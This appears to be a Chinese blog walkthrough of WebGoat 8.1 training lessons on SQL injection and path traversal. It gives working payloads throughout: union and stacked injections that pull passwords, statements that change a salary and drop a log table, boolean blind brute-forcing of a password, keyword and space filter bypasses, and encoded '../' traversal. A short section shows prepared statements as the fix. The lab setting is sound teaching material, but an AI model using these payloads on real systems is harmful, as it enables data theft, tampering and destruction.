一、SQL Injection (intro)

1.What is SQL?

题目让我们查找Bob Franco的部门

基本的sql的查询语句:select 查询的字段 from 表名 where 筛选条件 order by 分组 having 再次筛选 limit 限制一次输出数据的条数;(;是sql语句结束的标志)

select department from employees where userid='96134';

2. Data Manipulation Language (DML)

数据更新语句的语法:update 表名 set 需要修改的字段=新的数据 where 筛选条件;

update employees set department= 'Sales' where userid=89762;

3.Data Definition Language (DDL)

题目是让我们在表上添加一个字段,就是修改表的意思

修改表的语句语法:alter table 表名 add/drop 字段名 字段类型;

alter table employees add phone varchar(20);

4.Data Control Language (DCL)

权限控制语句语法:grant 权限 on 数据库名.表名 to 用户名;

GRANT ALTER TABLE TO UnauthorizedUser

5.Try It! String SQL injection

sql注入的初体验,构成sql注入的主要的原因是有客户端可控的变量,且这个变量直接拼接到将要执行的sql语句中。

sql注入的构造恶意的步骤是先完成前面语句的闭合(也就是语句逻辑要合理),后进行想要的操作语句的构造

简单的看一下这个sql语句在变量前面是有'的说明是一个字符型我们需要加入'进行闭合,同理语句最后也有'也需要闭合,因为题目需要我们查询整个表所有中间用or ,or语句前后一真为真所有后面接的是1=1

Smith' or '1'='1

6.Try It! Numeric SQL injection

先看题目需要我们获得表的所有数据

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID; 

分析sql语句,只是简单的拼接,而且拼接的地方是where,也就是筛选的地方,我们只需要把他们很成立就可以了(or 1=1)而且拼接的参数是个数字型不需要闭合,不过这里如果是在Login_Count这里进行注入的话我们需要用到注释符(#或者--+)将后面的语句进行一个注释(也就是不执行),不过不知道为什么这里这里不能在Login_Count进行注入

7.Compromising confidentiality with String SQL injection

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "';

分析sql语句,也是普通的拼接但是这里是用单引号包住参数(字符型)所以我们注入的时候需要用单引号进行闭合,而正常拼接的时候参数后会拼接一个单引号,我们也需要进行闭合如:'or '1'='1这样的语句可以进行闭合,或者简单粗暴一点就是直接注释后面的语句

qwe' or 1='1
qwe' or 1=1 --+

8.Compromising Integrity with Query chaining

题目这次不是让我们查询表那么简单而是进行修改,但是看这个表格来说拼接的语句用的是select也就是查询语句,我们需要用update语句的话这里需要用到堆叠注入。

堆叠注入:就是sql语句以;为结束,而且sql语句允许我们一次性输入多句sql语句一起执行,通俗的解释一次执行多句sql语句的注入就是堆叠注入

payload(在name输入或者tan都可以)
#首先我们需要知道表的大致信息
qwe'or 1=1--+#知道字段名和信息开始构造语句
qwe';update employees set SALARY=999999999 where USERID=37648--+

9.Compromising Availability

我们上一关的操作被记录到access_log表里面,所以我们需要去删除access_log表

分析:这里也是查询语句,我们需要进行删除操作所以需要堆叠注入。而且他提示了是字符串这里很有可能是用单引号或者双引号闭合

删除语句语法:drop table 表名;

1';drop table access_log;--+

二、SQL Injection (advanced)

1.Try It! Pulling data from other tables

这关有两个要求一个是获取当前表的数据,一个是获取戴夫的密码

1.获取当前表的所有数据,直接闭合加or 1=1
name:
1' or 1=1--+#在爆出来的数据里面似乎找不到我们想要的信息,我们需要查询另一个表这里有两种方法union注入和堆叠注入union注入(首先union select使用的前提是知道前面的select语句查询的字段长度正常可以使用order by来判断,这里是7,这里有对输出的数据类型有检测,使用需要对照前面爆的表的类型对照写入)
1' union select 1,user_name,password,'1','2','3',4 from user_system_data--+堆叠注入
1' ; select user_name,password from user_system_data;--+

2.Can you login as Tom?

摸索一下,登录框找不到注入点(只是用来验证我们的密码是否正确而已),在注册这里找注入点

username:tom
#User tom already exists please try to register with a different username.username:tom'or 1=1--+
#User {0} already exists please try to register with a different username.
这里的报错提示我们username这里有注入点

为了方便直接用burpsuit

因为有提示所以尝试使用布尔型盲注
username_reg=tom'and+1=1--+   #User {0} already exists
username_reg=tom'and+1=2--+   #User tom'and 1=2--+ created 可以使用猜测密码的字段名password passwd pwd都有可能
username_reg=tom'and length(password)>0--+   #User {0} already exists 猜中了接下来是爆破密码substr是在password字段的第几位取几个字母
username_reg=tom'and substr(password,1,1)=''--+

字典用的是大小写a-z 线程3(太高会报错) ,手动改substr()里面的第二个参数

最后爆破出来的结果:thisisasecretfortomonly

三、SQL Injection (mitigation)

1.Try it! Writing safe code

第一建立连接,第二构造sql语句用?占位,第三拼接完整sql语句

2.Try it! Writing safe code

String name="admin";
try{Connection conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);PreparedStatement ps=conn.prepareStatement("select * from users where name=?");ps.setString(1,name);ResultSet result=ps.executeQuery();System.out.println(result.next());
} catch (Exception e) {System.out.println("Oops, Something went wrong!");
}

3.Input validation alone is not enough!!

先输入
1'or 1=1--+
#提示说空格不能使用,那我们使用+或者/**/代替空格
1'or+1=1--+
1'or/**/1=1--+union查询
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
堆叠查询
1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+

4.Input validation alone is not enough!!

一样过滤了空格先用/**/代替空格
1'oR/**/1=1--+带入上一关的进去看看
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
#发现执行的sql语句中select和from被直接去掉了,试一试双写绕过(因为代码只对语句进行一次过滤)1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+     #成功1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+    #成功

5.List of servers

这里是对order by 的位置进行注入,点排序的地方进行抓包

(CASE WHEN 1=1 THEN ip ELSE hostname END)

 返回结果都是一样说明存在注入点

传入一个错误的payload进行报错得到表名是servers

构造数据的读取语句然后继续爆破
(CASE WHEN substr((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END)

一个个查看回应包,成功排序的说明是我们需要的数值,因为只需要前三位所以只用进行三次爆破,爆破结果是:104

四、Path traversal

1.Path traversal while uploading files

点一下头像选一个文件上传,点了update发现回显,我们full name输入的也是test说明可能是创建一个我们输入的为名字的文件夹。

Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"

构造payload,并随便上传一个文件

../test

2.Path traversal while uploading files

这题和上一题差不多直接上上一关的payload,发现用不了,可能是过滤了../

Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"

我们尝试双写绕过,成功绕过

..././test

3.Path traversal while uploading files

这一题上传的时候发现是上传文件到服务端,似乎和full name没什么关系,因为上传的文件名字没变,那可以试一下抓包直接修改文件的名字

../1.txt

4.Retrieving other files with a path traversal

题目是让我们找到这个path-traversal-secret.jpg图片

抓包随机一张照片,进行重放,回应包的url上面带有参数

我们构造一下进行请求 ,发现请求的参数会拼接一个后缀,那就是直接上传文件名就可以

直接传参id=../path-traversal-secret 回应包说是非法字符,那我们可以使用编码绕过

 id=%2e%2e%2fpath-traversal-secret,回应包是没找到,那就继续去上一层文件寻找

id=%2e%2e%2f%2e%2e%2fpath-traversal-secret,找到了

根据提示需要我们提交我们用户名的sha512的哈希值

以上就是A1Injection的全部内容过关教程

WebGoatV8.1(A1Injection)详细过关教程相关推荐

  1. WebGoatV8.1(A3-A5)详细过关教程

    一.Insecure Login 打开代理,点击login,发现登陆的账号和密码没加密,提交可过关. 二.xxe 1.Let's try 设置代理进行抓包,发现我们评论的内容是在用xml进行传递这时候 ...

  2. WebGoatV8.1(challenges)详细过关教程

    一.Admin lost password 设置代理继续抓包,刷新题目本页面.抓取url路径为/WebGoat/challenge/logo的包,重放在回应包里面搜索admin找到账号和密码 登录拿到 ...

  3. WebGoatV8.1(A8 2013Request Forgery)详细过关教程

    一.Cross-Site Request Forgeries 1.Basic Get CSRF Exercise 根据题目提示说有隐藏表单,找到代码,右击form标签,复制->整个html 黏贴 ...

  4. mysql为什么每天0点就装东西_MySQL的详细安装教程

    1.安装之前需要注意的几点 建议不要安装最新版本,一般找mysql5.0系列版本即可: mysq1官网有.zip和.msi两种安装形式: zip是压缩包,直接解压缩以后使用的,需要自己配置各种东西:m ...

  5. mysql windows 管道连接,科技常识:Windows Server 2016 MySQL数据库安装配置详细安装教程...

    今天小编跟大家讲解下有关Windows Server 2016 MySQL数据库安装配置详细安装教程 ,相信小伙伴们对这个话题应该也很关注吧,小编也收集到了有关Windows Server 2016 ...

  6. python安装了运行不了_python详细安装教程

    本章开始,我们将详细介绍Python编程环境的搭建,工欲善其事必先利其器,所以我们这里先介绍python详细安装教程.由于Python是跨平台的,他可以运行在Windows.Linux.Mac等系统上 ...

  7. truffle详细使用教程

    详细使用教程 选择以太坊客户端 编译智能合约 运行迁移 测试智能合约 用 JavaScript 编写测试脚本 编写 Solidity 测试脚本 与智能合约交互 使用 EthPM 包管理工具 调试智能合 ...

  8. Apache的详细安装教程和遇到的问题解决方案

    Apache的详细安装教程和遇到的问题解决方案 参考文章: (1)Apache的详细安装教程和遇到的问题解决方案 (2)https://www.cnblogs.com/jave1ove/p/54864 ...

  9. centos7 查看ip_VMware安装CentOS 7操作系统详细操作教程(网络配置)

    网络配置,输入vi /etc/sysconfig/network-scripts/,按下Tab键,根据提示,输入ifcfg-eno16777736,按下Enter键,如下图所示: 图 1 网络配置-1 ...

最新文章

  1. 扩增子分析解读4去嵌合体,非细菌序列,生成代表性序列和OTU表
  2. 第二阶段冲刺第六天(6月5号)
  3. apache-jmeter-3.1的简单压力测试使用方法(下载和安装)
  4. 大数据时代下的迁移学习_继深度学习后,下一个热点技术是迁移学习
  5. 前端学习(1868)vue之电商管理系统电商系统之登录退出实现表单的预先认证
  6. 做游戏,学编程(C语言) 1 实现弹跳小球
  7. PHP安全之Web攻击
  8. 在克隆环境上分离httpd和subversion。
  9. 大数据技术原理与应用----大数据概述
  10. 利用Google翻译实现网站国际化——js插件
  11. 【C学习】全通纸笔王网上阅卷系统 APMS_Setup.exe IP修改程序 - 附C/C#/Delphi源码
  12. http协议、URL、GET/POST请求报文及响应报文
  13. [导入]提高英语口语水平【网上资料整合】
  14. 点云粗配准之采样一致性
  15. android 设置单边框,Android设置单边圆角边框
  16. 详细的介绍sigmoid函数
  17. 冒泡排序、插入排序、选择排序、希尔排序、堆排序、归并排序等常用排序算法的比较
  18. GSMA SGP.21协议学习
  19. 基于JAVA成都某4S店销售管理系统计算机毕业设计源码+系统+lw文档+部署
  20. 058:vue+openlayers用moveend事件获取地图左上和右下的坐标信息(示例代码)

热门文章

  1. 曾经我们的想象力如此丰富
  2. 书读得越多,是不是变得越聪明?
  3. Spring概念、类注解和Bean作用域
  4. 恢复BIOS初始设置
  5. java通用文件换行符_java通用文件换行符
  6. Java入门(练习)------ 使用Java编写电脑定时自动关机程序
  7. win11右键菜单改回原版win10最简单操作方法
  8. 柏林生鲜速递,10分钟送货上门
  9. 移动端touch事件 touchstart、touchmove、touchend
  10. Qt源码编译aarch、loongarch等架构可参考